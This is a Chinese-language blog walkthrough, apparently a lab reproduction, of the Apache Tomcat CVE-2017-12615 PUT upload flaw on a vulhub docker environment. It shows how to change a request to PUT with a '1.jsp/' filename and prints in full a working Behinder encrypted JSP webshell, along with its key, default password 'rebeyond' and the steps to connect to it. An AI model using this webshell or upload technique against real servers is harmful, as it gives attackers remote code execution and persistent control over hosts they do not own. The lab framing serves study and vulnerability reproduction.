漏洞描述
Apache Tomcat 7.0.0到7.0.79版本中存在远程代码执行漏洞,当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法时,攻击者可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件,文件中的代码被服务器执行。
环境搭建
安装docker-compose
apt install docker-compose
![](https://i-blog.csdnimg.cn/blog_migrate/6310965a0c6f6305fe452b06da41cd9b.png)
下载vulhub环境包
链接:https://vulhub.org/#/docs/download-vulhub/
下载完成后解压
unzip vulhub-master\(3\).zip
![](https://i-blog.csdnimg.cn/blog_migrate/13c6d888059063b9775c9c2521128e06.png)
此时环境搭建完成
![](https://i-blog.csdnimg.cn/blog_migrate/3ac429542d9fb30cec21d6ed01b3d37c.png)
漏洞复现
进入环境包对应路径
![](https://i-blog.csdnimg.cn/blog_migrate/a24d8c117a85785a4992c6ae80a69d97.png)
启动漏洞环境
root@ubuntu:/home/admin-h/vulhub-master/tomcat/CVE-2017-12615# docker-compose up -d
![](https://i-blog.csdnimg.cn/blog_migrate/dcf140cbf48d8b13667ef3fa4fe31bda.png)
![](https://i-blog.csdnimg.cn/blog_migrate/92f3f85ed69a50f5800b6b057477daa2.png)
使用burpsuite抓包,修改GET为PUT上传方式,添加文件名1.jsp/,添加shell脚本
shell脚本:
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%>
<%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
![](https://i-blog.csdnimg.cn/blog_migrate/e3a543695bdeb19135e0756ab754963d.png)
查看是否上传成功
![](https://i-blog.csdnimg.cn/blog_migrate/885742bdc8053360d6e6ae387b56eb3c.png)
此时jsp文件上传成功,使用冰蝎进行连接
![](https://i-blog.csdnimg.cn/blog_migrate/49b29fb5a4af9bf3c98062192d542843.png)
shell脚本默认密码为:rebeyond
此时显示已连接成功
![](https://i-blog.csdnimg.cn/blog_migrate/75285b2d18b4095b2bd3bf1d663c4765.png)
![](https://i-blog.csdnimg.cn/blog_migrate/daabe76e4e9a660b9c1f019fb0d8fa3c.png)